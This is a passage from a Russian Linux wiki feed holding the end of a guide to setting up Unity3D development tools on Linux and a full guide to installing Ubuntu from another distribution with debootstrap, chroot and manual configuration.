Для некоторых дистрибутивов есть пакеты в репозиториях. Так, для Arch Linux, Manjaro и основанных на арче дистрибутивах в AUR (Arch User Repository) есть пакеты [https://aur.archlinux.org/packages/unity-editor unity-editor] и [https://aur.archlinux.org/packages/unity-editor-beta unity-editor-beta]. Последний - для любителей бета-версий и острых ощущений. Сам не использовал и не буду.&lt;br /&gt;
&lt;br /&gt;
С AUR есть одна проблема: если вы ни коим образом не настраивали свой дистрибутив, то установщик пакетов выдаст ошибку, связанную с отсутствием места на диске. А всё по той причине, что по умолчанию включена tmpfs. Отключите её, инструкция по --[https://wiki.archlinux.org/index.php/Tmpfs_(%D0%A0%D1%8%D1%81%D1%81%D0%BA%D0%B8%D0%B9) ссылке]. Хотя если у вас достаточно ОЗУ (от 16 ГБ), то можете не беспокоиться.&lt;br /&gt;
&lt;br /&gt;
Для Debian, Fedora и Ubuntu на данный момент репозиториев нет.&lt;br /&gt;
&lt;br /&gt;
Для Gentoo не особо свежие версии были найдены [https://gpo.zugaina.org/dev-util/unity-editor здесь].&lt;br /&gt;
&lt;br /&gt;
==Установка инструментов==&lt;br /&gt;
===Редактор кода===&lt;br /&gt;
Я предпочитаю [https://code.visualstudio.com/ Visual Studio Code]. Официальные пакеты можно скачать прямо с сайта. Они подходят для deb-дистрибутивов (Ubuntu, Debian, Linux Mint и т.д.) и rpm-дистрибутивов (Fedora и основанных на ней, либо же использующих данный формат пакетов). При установке добавляет свои репозитории в список, что позволяет  получать своевременные обновления без необходимости ходить на сайт.&lt;br /&gt;
&lt;br /&gt;
В Arch Linux, Manjaro, и производных от Arch Linux есть пакет code в репозитории [https://www.archlinux.org/packages/?name=code Community]&lt;br /&gt;
Для Gentoo есть [https://gpo.zugaina.org/app-editors/visual-studio-code эти] оверлеи.&lt;br /&gt;
Для староверов есть [https://www.monodevelop.com/download/ MonoDevelop]. Продублирую репозитории сюда:&lt;br /&gt;
&lt;br /&gt;
Ubuntu&lt;br /&gt;
&lt;br /&gt;
14.04&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF&lt;br /&gt;
sudo apt install apt-transport-https&lt;br /&gt;
echo &amp;quot;deb https://download.mono-project.com/repo/ubuntu vs-trusty main&amp;quot; | sudo tee /etc/apt/sources.list.d/mono-official-vs.list&lt;br /&gt;
sudo apt update&amp;lt;/pre&amp;gt;&lt;br /&gt;
16.04&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF&lt;br /&gt;
sudo apt install apt-transport-https&lt;br /&gt;
echo &amp;quot;deb https://download.mono-project.com/repo/ubuntu vs-xenial main&amp;quot; | sudo tee /etc/apt/sources.list.d/mono-official-vs.list&lt;br /&gt;
sudo apt update&amp;lt;/pre&amp;gt;&lt;br /&gt;
18.04&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt install apt-transport-https dirmngr&lt;br /&gt;
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF&lt;br /&gt;
echo &amp;quot;deb https://download.mono-project.com/repo/ubuntu vs-bionic main&amp;quot; | sudo tee /etc/apt/sources.list.d/mono-official-vs.list&lt;br /&gt;
sudo apt update&amp;lt;/pre&amp;gt;&lt;br /&gt;
Установка&lt;br /&gt;
&amp;lt;pre class=&amp;quot;EnlighterJSRAW&amp;quot; data-enlighter-language=&amp;quot;shell&amp;quot;&amp;gt;sudo apt-get install monodevelop&amp;lt;/pre&amp;gt;&lt;br /&gt;
Debian&lt;br /&gt;
8&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF&lt;br /&gt;
sudo apt install apt-transport-https&lt;br /&gt;
echo &amp;quot;deb https://download.mono-project.com/repo/debian vs-jessie main&amp;quot; | sudo tee /etc/apt/sources.list.d/mono-official-vs.list&lt;br /&gt;
sudo apt update&amp;lt;/pre&amp;gt;&lt;br /&gt;
9&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt install apt-transport-https dirmngr&lt;br /&gt;
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF&lt;br /&gt;
echo &amp;quot;deb https://download.mono-project.com/repo/debian vs-stretch main&amp;quot; | sudo tee /etc/apt/sources.list.d/mono-official-vs.list&lt;br /&gt;
sudo apt update&amp;lt;/pre&amp;gt;&lt;br /&gt;
Установка&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get install monodevelop&amp;lt;/pre&amp;gt;&lt;br /&gt;
С Fedora всё проще. Достаточно выполнить следующую команду:&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo dnf install monodevelop&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Для Arch Linux, Manjaro и производных от Arch Linux есть пакет [https://aur.archlinux.org/packages/monodevelop-stable/ monodevelop-stable] в AUR.&lt;br /&gt;
&lt;br /&gt;
Для Gentoo были найдены [https://gpo.zugaina.org/dev-util/monodevelop эти] оверлеи.&lt;br /&gt;
&lt;br /&gt;
Для openSUSE есть пакет [https://software.opensuse.org/package/monodevelop monodevelop].&lt;br /&gt;
&lt;br /&gt;
Для Sublime Text есть [https://www.sublimetext.com/docs/3/linux_repositories.html репозитории] на официальном сайте. Для openSUSE есть пакет [https://software.opensuse.org/package/sublime_text sublime_text]. Для Gentoo есть в [https://gpo.zugaina.org/app-editors/sublime-text этих оверлеях.&lt;br /&gt;
&lt;br /&gt;
В Fedora многие редакторы можно установить с помощью [https://www.folkswithhats.org Fedy] (твикер для федоры, сам добавляет репозитории). &lt;br /&gt;
&lt;br /&gt;
Для редактирования можно использовать любую программу, хоть Vim. Им я не пользуюсь, но оставлю три ссылки: [https://www.reddit.com/r/vim/comments/4ze13q/does_anyone_use_vim_with_unity/ раз] [https://forum.unity.com/threads/unity3d-with-vim.355814 два], [https://github.com/NOSDuco/Unity3dVim три].&lt;br /&gt;
&lt;br /&gt;
Очень важное примечание: очистите поле &amp;lt;strong&amp;gt;External Script Editor Args&amp;lt;/strong&amp;gt;, или удалите кавычки. Последнее предпочтительнее, т.к. при очистке во время открытия настроек это поле сбрасывается.&lt;br /&gt;
&lt;br /&gt;
==Работа с 3D==&lt;br /&gt;
Вот небольшой список пакетов для работы с 3D:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;[https://www.blender.org Blender]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Есть в репозиториях всех (вроде бы) дистрибутивов, достаточно установить пакет blender&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Можно загрузить с сайта архив и распаковать в любое место&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;[http://help.autodesk.com/view/MAYAUL/2018/ENU/?guid=GUID-3E0A3A36-B1C2-4B91-994B-731C672D9694 Maya] &amp;lt;/li&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;[https://www.allegorithmic.com/products/substance-painter Substance Painter]&amp;lt;/li&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;[https://www.allegorithmic.com/products/substance-designer Substance Designer]&amp;lt;/li&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;[https://www.foundry.com/products/modo Modo]&amp;lt;/li&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;[http://3dcoat.com 3DCoat]&amp;lt;/li&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;[https://knowledge.autodesk.com/support/mudbox/learn-explore/caas/CloudHelp/cloudhelp/2018/ENU/Mudbox/files/GUID-F83B0171-CA1D-4299-9863-1E2DC15F08E2-htm.html Mudbox]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
Некоторые из этих пакетов также есть в AUR.&lt;br /&gt;
==Работа с 2D==&lt;br /&gt;
Небольшой список кроссплатформенных приложений для работы с 2D графикой:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://krita.org/ Krita] – графический редактор, основной упор делается на рисование&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Можно загрузить с сайта, есть в репозиториях некоторых дистрибутивов (dev-games/aseprite в Gentoo, aseprite в AUR)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Можно загрузить в [https://bintray.com/probono/AppImages/Krita#files AppImage]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://www.aseprite.org/ Aseprite] – создание анимированных спрайтов и 2D графики&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Можно загрузить с сайта, есть в репозиториях некоторых дистрибутивов (dev-games/aseprite в Gentoo, aseprite в AUR)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Можно загрузить в [https://bintray.com/probono/AppImages/Aseprite#files AppImage]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://www.gimp.org/ GIMP] – графический редактор&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Есть в репозиториях всех дистрибутивов&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Можно загрузить в [https://bintray.com/probono/AppImages/GIMP#files AppImage] (немного устаревшие версии)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://inkscape.org/ Inkskape] - редактор векторной графики&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Есть в репозиториях всех дистрибутивов&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Можно загрузить в [https://bintray.com/probono/AppImages/Inkscape#files AppImage]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
Для запуска приложений в формате AppImage достаточно сделать файл исполняемым и запустить как обычное приложение.&lt;br /&gt;
==Интеграция с Android==&lt;br /&gt;
Установка Android SDK и NDK очень простая и происходит тремя способами.&lt;br /&gt;
&lt;br /&gt;
Первый - загрузка с [https://developer.android.com/studio/ официального сайта] и распаковка архива в любое место. NDK доступен [https://developer.android.com/ndk/downloads/ здесь].&lt;br /&gt;
&lt;br /&gt;
'''Важное обновление:''' начиная с версии 2019.1.0b1 SDK и NDK можно установить через Unity Hub.&lt;br /&gt;
&lt;br /&gt;
Второй - установка из репозиториев дистрибутива. Я нашёл следующие:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;AUR - [https://aur.archlinux.org/packages/android-sdk SDK] и [https://aur.archlinux.org/packages/android-ndk/ NDK].&amp;lt;/li&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;Gentoo - [https://wiki.gentoo.org/wiki/Android Список репозиториев в Gentoo Wiki]&amp;lt;/li&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;Ubuntu&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;Android SDK:&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt install android-sdk&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;Android NDK ставится только с официального сайта&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Третий - установка Android Studio (только SDK), которая ставится как с [https://developer.android.com/studio/ официального сайта], так и из репозиториев:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;AUR - [https://aur.archlinux.org/packages/android-studio/ android-studio]&amp;lt;/li&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;Gentoo - [https://wiki.gentoo.org/wiki/Android Список репозиториев в Gentoo Wiki]&amp;lt;/li&amp;gt;&lt;br /&gt;
 	&amp;lt;li class=&amp;quot;&amp;quot;&amp;gt;Fedora - пакет есть для 29 федоры в [https://copr.fedorainfracloud.org/coprs/obl/stable/ copr], доступна установка через Fedy&amp;lt;/li&amp;gt;&lt;br /&gt;
 	&amp;lt;li&amp;gt;openSUSE - [https://software.opensuse.org/package/android-studio android-studio]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
Android Studio требует Java (как минимум версии 8).  В Ubuntu и Debian Java (версии 8) устанавливается так:&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo add-apt-repository ppa:webupd8team/java&lt;br /&gt;
sudo apt-get update&lt;br /&gt;
sudo apt-get install oracle-java8-installer&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
В rpm-дистрибутивах надо скачать пакет с [http://java.com/en/download/linux_manual.jsp официального сайта].&lt;br /&gt;
&lt;br /&gt;
Arch Linux и производные от него - [https://wiki.archlinux.org/index.php/java#Other_implementations список пакетов в AUR на ArchWiki]. Ставить Java SE.&lt;br /&gt;
&lt;br /&gt;
В Gentoo:&lt;br /&gt;
&amp;lt;pre&amp;gt;emerge --ask virtual/jre&amp;lt;/pre&amp;gt;&lt;br /&gt;
Oracle Java требует принятия лицензии. Самый простой способ - добавить ACCEPT_LICENSE=&amp;quot;*&amp;quot; в make.conf. Чуть сложнее - узнать лицензию и добавить её.&lt;br /&gt;
&lt;br /&gt;
Скорее всего потребуется установка правил UDEV. Скопируйте [https://github.com/M0Rf30/android-udev-rules/blob/master/51-android.rules этот] файл в /etc/udev/rules.d/ и перезагрузите правила:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo udevadm control --reload-rules&amp;lt;/pre&amp;gt;&lt;br /&gt;
Теперь просто укажите все пути в редакторе. Если вы всё сделали правильно, то станет доступна отладка на телефоне, кнопка Build and Run и все преимущества интеграции Unity3D с мобильными устройствами.&lt;br /&gt;
==Интеграция с iPhone и iPad==&lt;br /&gt;
Увы, ничего не могу про это рассказать. Насколько я знаю, для возможности создания игр для яблочных устройств требуется одно из устройств вроде макбука.&lt;br /&gt;
==Вместо вывода==&lt;br /&gt;
Я мог что-то забыть добавить в эту статью. Поэтому статья время от времени будет обновляться.&lt;br /&gt;
[[Категория:Программирование]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Ubuntu_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D0%B4%D1%80%D1%83%D0%B3%D0%BE%D0%B9_GNU_Linux_(debootstrap)&amp;diff=393</id>
		<title>Установка Ubuntu через другой GNU Linux (debootstrap)</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0_Ubuntu_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D0%B4%D1%80%D1%83%D0%B3%D0%BE%D0%B9_GNU_Linux_(debootstrap)&amp;diff=393"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Установка через другой GNU/Linux (продвинутая) ===&lt;br /&gt;
&lt;br /&gt;
==== Пролог ====&lt;br /&gt;
&lt;br /&gt;
Если вам, по каким-то причинам, не угодила установка через официальный установщик (например, экономия дисков и т.д.), то можно установить любую редакцию Ubuntu через любой другой GNU/Linux с прямым доступом к диску. Например, через LiveCD (Knoppix, даже сам Ubuntu и т.д.). Может пригодиться, как пример, для установки Kubuntu 12.04 через Ubuntu 8.10 или наоборот.&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Внимание! Инструкция рассчитана на BIOS-машины с x86-архитектурами (IA32 (x86_32, i*86) и x86_64 (amd64, EM64T)).'''&lt;br /&gt;
&lt;br /&gt;
==== Начальная установка ====&lt;br /&gt;
&lt;br /&gt;
* Для начала, разметим файловую систему. Для этого подойдёт программа GParted или CFDisk. Для установки GParted в Debian-подобной системе (Knoppix, Ubuntu и прочие) введите в консоли (от root или sudo):&lt;br /&gt;
 apt-get install gparted&lt;br /&gt;
В дальнейшем, будет предполагаться, что основной диск размечен в ext4, и создан swap. &lt;br /&gt;
* Теперь надо примонтировать созданный диск куда-нибудь (от root или sudo):&lt;br /&gt;
 mkdir /media/hda0&lt;br /&gt;
 mount -t ext4 /dev/sda6 /media/hda0&lt;br /&gt;
Вместо «sda6» укажите выбранный диск (в GParted), а вместо «ext4» укажите выбранную файловую систему.&lt;br /&gt;
* Придётся поставить debootstrap:&lt;br /&gt;
1. Для Debian-подобных (от root или sudo):&lt;br /&gt;
 apt-get install debootstrap&lt;br /&gt;
2. Для всех остальных (от root или sudo):&lt;br /&gt;
 cd /&lt;br /&gt;
 wget -O debootstrap.deb http://httpredir.debian.org/debian/pool/main/d/debootstrap/debootstrap_1.0.70_all.deb&lt;br /&gt;
 ar -x debootstrap.deb&lt;br /&gt;
 tar -xf data.tar.xz&lt;br /&gt;
 rm -f debootstrap.deb control.tar.gz data.tar.xz&lt;br /&gt;
* Ну и сама установка (от root или sudo):&lt;br /&gt;
 /usr/sbin/debootstrap --include=aptitude,tasksel,dselect,nano,wget --arch $ARCH $DISTRO /media/hda0 http://ru.archive.ubuntu.com/ubuntu&lt;br /&gt;
Тут, вместо «$ARCH» укажите архитектуру ОС (для IA86 это i386, а для x86_64 это amd64), а вместо «$DISTRO» кодовое имя нужного релиза Ubuntu (например, trusty).&lt;br /&gt;
* Чтобы система увидела устройства, введите в консоли:&lt;br /&gt;
 mount -o bind /dev /media/hda0/dev&lt;br /&gt;
 mount -o bind /sys /media/hda0/sys&lt;br /&gt;
* Теперь можно в новую систему и войти (от root):&lt;br /&gt;
 env LANG=C chroot /media/hda0 /bin/bash&lt;br /&gt;
* Создайте символические ссылки для CD-ROM (DVD-ROM):&lt;br /&gt;
 mkdir /media/cdrom0&lt;br /&gt;
 ln -s cdrom0 /media/cdrom&lt;br /&gt;
&lt;br /&gt;
==== Настройки времени и дисков ====&lt;br /&gt;
&lt;br /&gt;
* Для вывода диалога настройки времени:&lt;br /&gt;
 dpkg-reconfigure tzdata&lt;br /&gt;
* Создайте файл /etc/fstab (nano /etc/fstab) с содержанием, образованным по данному шаблону:&lt;br /&gt;
 # /etc/fstab: static file system information.&lt;br /&gt;
 #&lt;br /&gt;
 # Use 'blkid' to print the universally unique identifier for a&lt;br /&gt;
 # device; this may be used with UUID= as a more robust way to name devices&lt;br /&gt;
 # that works even if disks are added and removed. See fstab(5).&lt;br /&gt;
 #&lt;br /&gt;
 # &amp;lt;file system&amp;gt; &amp;lt;mount point&amp;gt;   &amp;lt;type&amp;gt;  &amp;lt;options&amp;gt;       &amp;lt;dump&amp;gt;  &amp;lt;pass&amp;gt;&lt;br /&gt;
 # /boot was on /dev/sda2 during installation &lt;br /&gt;
 /dev/sda2       /boot           ext2    defaults        0       2&lt;br /&gt;
 # / was on /dev/sda3 during installation &lt;br /&gt;
 /dev/sda3       /               ext4    defaults        0       1&lt;br /&gt;
 # /home was on /dev/sda4 during installation &lt;br /&gt;
 /dev/sda4       /home           ext4    defaults        0       2&lt;br /&gt;
 # swap was on /dev/sda5 during installation&lt;br /&gt;
 /dev/sda5       none            swap    sw              0       0&lt;br /&gt;
 /dev/sr0        /media/cdrom0   udf,iso9660 user,noauto 0       0&lt;br /&gt;
 tmpfs           /tmp            tmpfs   defaults        0       0&lt;br /&gt;
 /tmp            /var/tmp        none    bind            0       0&lt;br /&gt;
Поправьте имена устройств, ненужные диски удалите, нужные добавьте.&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Примечание:''' Вместо имён устройств можно (и даже лучше, ибо имена могут измениться по разным причинам) использовать UUID или метку устройства. Например, так: &amp;quot;UUID=63a233ee-b9c2-4cef-a6ab-34f2f756cf1c&amp;quot; или &amp;quot;LABEL=Root&amp;quot; (без кавычек).&lt;br /&gt;
* Теперь можно и смонтировать:&lt;br /&gt;
 mount -t proc /proc /proc&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
==== Настройка зеркала репозиториев и выбор ПО ====&lt;br /&gt;
&lt;br /&gt;
* Чтобы получить доступ к большему количеству программ из репозиториев, укажите в /etc/apt/sources.list (можно выбрать другое зеркало, например, archive.ubuntu.com/ubuntu или mirror.yandex.ru/ubuntu):&lt;br /&gt;
 deb http://ru.archive.ubuntu.com/ubuntu $DISTRO main universe restricted multiverse&lt;br /&gt;
 # deb-src http://ru.archive.ubuntu.com/ubuntu $DISTRO main universe restricted multiverse&lt;br /&gt;
 &lt;br /&gt;
 deb http://security.ubuntu.com/ubuntu $DISTRO-security main universe restricted multiverse&lt;br /&gt;
 # deb-src http://security.ubuntu.com/ubuntu $DISTRO-security main universe restricted multiverse&lt;br /&gt;
 &lt;br /&gt;
 deb http://ru.archive.ubuntu.com/ubuntu $DISTRO-updates main universe restricted multiverse&lt;br /&gt;
 # deb-src http://ru.archive.ubuntu.com/ubuntu $DISTRO-updates main universe restricted multiverse&lt;br /&gt;
 &lt;br /&gt;
 deb http://ru.archive.ubuntu.com/ubuntu $DISTRO-proposed main universe restricted multiverse&lt;br /&gt;
 # deb-src http://ru.archive.ubuntu.com/ubuntu $DISTRO-proposed main universe restricted multiverse&lt;br /&gt;
 &lt;br /&gt;
 deb http://ru.archive.ubuntu.com/ubuntu $DISTRO-backports main universe restricted multiverse&lt;br /&gt;
 # deb-src http://ru.archive.ubuntu.com/ubuntu $DISTRO-backports main universe restricted multiverse&lt;br /&gt;
 &lt;br /&gt;
 deb http://archive.canonical.com/ubuntu $DISTRO partner&lt;br /&gt;
 &lt;br /&gt;
 deb http://extras.ubuntu.com/ubuntu $DISTRO main&lt;br /&gt;
 # deb-src http://extras.ubuntu.com/ubuntu $DISTRO main&lt;br /&gt;
&lt;br /&gt;
Где вместо $DISTRO кодовое имя дистрибутива.&lt;br /&gt;
* На x86_64 (amd64) системах лучше предварительно включить поддержку установки IA32-пакетов:&lt;br /&gt;
 dpkg --add-architecture i386&lt;br /&gt;
* После чего обновить список пакетов&lt;br /&gt;
 apt-get update&lt;br /&gt;
* Для использования команды add-apt-repository следует установить пакет software-properties-common (или python-software-properties в Ubuntu &amp;lt; 12.10):&lt;br /&gt;
 apt-get install python-software-properties&lt;br /&gt;
* Если вы хотите участвовать в опросе популярности пакетов, то установите пакет popularity-contest:&lt;br /&gt;
 apt-get install popularity-contest&lt;br /&gt;
* Для выхода из опроса:&lt;br /&gt;
 dpkg-reconfigure popularity-contest&lt;br /&gt;
* Для установки некоторых стандартных пакетов можно воспользоваться утилитой tasksel:&lt;br /&gt;
 dselect update&lt;br /&gt;
 tasksel install standard&lt;br /&gt;
* Можно ещё запустить просто&lt;br /&gt;
 tasksel&lt;br /&gt;
и установить что-нибудь из выпавшего списка.&lt;br /&gt;
&lt;br /&gt;
Установка aptitude:&lt;br /&gt;
* aptitude - мощная утилита для работы с пакетами. В случае, если вы не хотите её использовать, пропустите этот пункт, а в дальнейших указаниях заменяйте &amp;quot;aptitude&amp;quot; на &amp;quot;apt&amp;quot;&lt;br /&gt;
 apt-get install aptitude&lt;br /&gt;
==== Установка языковых параметров ====&lt;br /&gt;
* Для установки русской локали установите пакет language-pack-ru:&lt;br /&gt;
 aptitude install language-pack-ru&lt;br /&gt;
* Настройте шрифт в консоли:&lt;br /&gt;
 dpkg-reconfigure console-setup&lt;br /&gt;
При настройке console-setup лучше выбрать как шрифт VGA.&lt;br /&gt;
* А для применения:&lt;br /&gt;
 echo &amp;quot;LANG=\&amp;quot;ru_RU.UTF-8\&amp;quot;&amp;quot; &amp;gt; /etc/default/locale&lt;br /&gt;
* Для применения русской локали уже сейчас:&lt;br /&gt;
 export LANG=ru_RU.UTF-8&lt;br /&gt;
&lt;br /&gt;
==== Сетевые установки ====&lt;br /&gt;
&lt;br /&gt;
* Желательно выбрать имя своего ПК, ибо сейчас оно совпадает с именем ПК основной системы:&lt;br /&gt;
 echo '$PCName' &amp;gt; /etc/hostname&lt;br /&gt;
Где вместо $PCName, имя ПК.&lt;br /&gt;
* Также, создайте файл /etc/hosts с содержанием (nano /etc/hosts):&lt;br /&gt;
 127.0.0.1       localhost&lt;br /&gt;
 127.0.1.1       $PCName&lt;br /&gt;
 &lt;br /&gt;
 # The following lines are desirable for IPv6 capable hosts&lt;br /&gt;
 ::1             localhost ip6-localhost ip6-loopback&lt;br /&gt;
 ff02::1         ip6-allnodes&lt;br /&gt;
 ff02::2         ip6-allrouters&lt;br /&gt;
Где вместо $PCName имя ПК, а вместо localhost — имя домена.&lt;br /&gt;
* Для настройки сети воспользуйтесь поисковиком, ибо здесь действительно много писать.&lt;br /&gt;
&lt;br /&gt;
==== Настройка пользователей ====&lt;br /&gt;
&lt;br /&gt;
* Теперь пора создать себе пользователя:&lt;br /&gt;
 adduser $USER&lt;br /&gt;
Где вместо $USER имя пользователя.&lt;br /&gt;
* Также можно поставить пароль на root:&lt;br /&gt;
 passwd&lt;br /&gt;
&lt;br /&gt;
==== Установка ядра и загрузчика ====&lt;br /&gt;
&lt;br /&gt;
* Ну вот и предфинальное действие — установка ядра Linux. Для установки стандартного ядра достаточно:&lt;br /&gt;
 aptitude install linux-image-generic linux-headers-generic&lt;br /&gt;
&lt;br /&gt;
'''Примечание:''' Вместо GRUB2, который устанавливается как рекомендация linux-image-generic, также можно установить Syslinux (пакет syslinux) или LiLO (пакет lilo).&lt;br /&gt;
* Для правильного функционирования системы могут понадобиться дополнительные прошивки:&lt;br /&gt;
 aptitude install linux-firmware-nonfree&lt;br /&gt;
* На этом всё. Поздравляю с установкой Ubuntu на Ваш компьютер.&lt;br /&gt;
&lt;br /&gt;
=== Установка «дополнительных» программ===&lt;br /&gt;
&lt;br /&gt;
==== Настройка sudo ====&lt;br /&gt;
&lt;br /&gt;
Для совершения административных задач без переключения в root используется sudo (SuperUserDO).&lt;br /&gt;
&lt;br /&gt;
* Далее, надо добавить нужного пользователя в список «администраторов». Для этого добавьте пользователя в группу «sudo»:&lt;br /&gt;
 usermod -a -G sudo $USER_NAME&lt;br /&gt;
где $USER_NAME — имя пользователя;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Установка X Window System ====&lt;br /&gt;
&lt;br /&gt;
Пока основной графического стека GNU/Linux является проект X.org.&amp;lt;br /&amp;gt;&lt;br /&gt;
Для установки X.org вместе со всеми графическими драйверами, использующими Mesa:&lt;br /&gt;
 aptitude install xorg&lt;br /&gt;
&lt;br /&gt;
==== Установка дисплейного менеджера ====&lt;br /&gt;
&lt;br /&gt;
Для графического входа в графическую оболочку существуют дисплейные менеджеры.&amp;lt;br /&amp;gt;&lt;br /&gt;
Чтобы установить универсальный дисплейный менеджер LightDM с Gtk-фронтэндом:&lt;br /&gt;
 aptitude install lightdm lightdm-gtk-greeter&lt;br /&gt;
&lt;br /&gt;
Или с KDE-фронтэндом:&lt;br /&gt;
 aptitude install lightdm lightdm-kde-greeter&lt;br /&gt;
Также существуют дисплейные менеджеры GDM (от среды GNOME), MDM (от проекта Mint), KDM (от среды LDE) и пр.&lt;br /&gt;
&lt;br /&gt;
==== Установка рабочей среды ====&lt;br /&gt;
&lt;br /&gt;
Для установки рабочей среды можно воспользоваться программой aptitude (или apt) от root:&lt;br /&gt;
&lt;br /&gt;
* для KDE:&lt;br /&gt;
 aptitude install kubuntu-desktop&lt;br /&gt;
* для Unity в &amp;gt;=11.04 или GNOME в =&amp;lt;10.10:&lt;br /&gt;
 aptitude install ubuntu-desktop&lt;br /&gt;
* для GNOME Fallback между 11.10 и 13.04):&lt;br /&gt;
 aptitude install gnome-panel&lt;br /&gt;
* для GNOME Shell в &amp;gt;=11.10):&lt;br /&gt;
 aptitude install gnome-shell gnome-themes-standard gnome-tweak-tool&lt;br /&gt;
* для Xfce:&lt;br /&gt;
 aptitude install xubuntu-desktop&lt;br /&gt;
* для LXDE:&lt;br /&gt;
 aptitude install lubuntu-desktop&lt;br /&gt;
&lt;br /&gt;
==== Настройка сети ====&lt;br /&gt;
&lt;br /&gt;
Для настройки сетевого соединения существуют специализированные утилиты как NetworkManager и Wicd.&lt;br /&gt;
&lt;br /&gt;
* Чтобы установить nm-applet (графический интерфейс к NetworkManager) (от root или sudo):&lt;br /&gt;
 aptitude install network-manager-gnome&lt;br /&gt;
